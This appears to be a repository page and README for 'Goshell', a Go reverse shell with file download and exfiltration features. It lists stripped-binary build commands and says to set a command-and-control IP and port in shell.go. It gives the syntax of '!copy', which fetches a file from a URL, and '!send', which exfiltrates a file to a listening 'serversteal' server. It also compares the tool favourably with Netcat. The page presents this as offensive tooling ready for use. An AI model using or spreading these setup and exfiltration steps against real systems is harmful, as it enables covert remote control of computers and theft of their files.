- Go 100%
|
|
||
|---|---|---|
| .gitignore | ||
| LICENSE | ||
| README.md | ||
| server.go | ||
| serversteal.go | ||
| shell.go | ||
Goshell
A reverse shell written in Golang, with file exfiltrating and downloading capabilities, and cross OS support.
how to set up
1- compile the shell.go file with
Go build -ldflags "-s -w" shell.go
this is the reverse shell client, make sure you change the IP inside to your desired ip/domain 2- compile serversteal.go and server.go, and run serversteal to receive files sent.
how to use
when the compiled shell binary is on a PC, valid commands include 1 !copy, to download a file over HTTP Usage: !copy [Url] [local_file] 2 !send, to exfiltrate a file Usage: !send [server_ip running serversteal] [local_file]
How much different is it from just using Netcat?
| questions | Goshell | Netcat |
|---|---|---|
| can run commands? | ✅ | ✅ |
| can download files | ✅ | ❌ (requires extra tools) |
| can exfiltrate files | ✅ | ❌ |
| operating system | Anywhere Go can run | Unix systems |
| dependencies | static, can run anywhere Go can run | Requires Netcat installed |
documentation
In shell.go, change the following line
cncdomain = "YOUR_CNC_IP"
cncport = "YOUR_CNC_PORT"
To your preferred IP, Domains like mysite.com are also supported Then build the server.go and serversteal.go file with
Go build -ldflags "-s -w" server.go
Go build -ldflags "-s -w" serversteal.go
Then run the server steal binary and let it listen on the set port to eventually receive files you exfiltrate with the !send command.